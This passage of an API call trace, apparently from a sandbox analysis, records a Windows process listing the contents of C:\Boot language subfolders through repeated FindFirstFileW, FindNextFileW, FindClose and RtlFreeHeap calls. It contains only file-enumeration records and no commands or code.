cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0063.523] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.523] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034f28) returned 1 [0063.523] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040110) returned 1 [0063.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.524] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.525] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.525] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.526] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.526] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af628) returned 1 [0063.526] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040120) returned 1 [0063.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.526] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.526] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.526] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.526] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.526] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af658) returned 1 [0063.526] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040130) returned 1 [0063.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.530] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.530] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.530] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.530] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.530] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af688) returned 1 [0063.530] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040140) returned 1 [0063.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.531] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.531] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.531] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.531] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.531] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6b8) returned 1 [0063.531] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040150) returned 1 [0063.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.532] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.532] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.532] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.532] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.532] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6e8) returned 1 [0063.532] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040160) returned 1 [0063.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.533] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.533] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.533] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.533] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.533] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af718) returned 1 [0063.533] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0063.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.534] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.534] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.534] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.534] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.534] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af748) returned 1 [0063.534] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040180) returned 1 [0063.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.535] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.536] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.536] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af778) returned 1 [0063.536] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040190) returned 1 [0063.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.537] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.537] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7a8) returned 1 [0063.537] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401a0) returned 1 [0063.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.537] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.538] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7d8) returned 1 [0063.538] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401b0) returned 1 [0063.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.539] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af808) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401c0) returned 1 [0063.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.539] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af838) returned 1 [0063.539] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401d0) returned 1 [0063.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.540] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.540] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af868) returned 1 [0063.540] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0063.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, 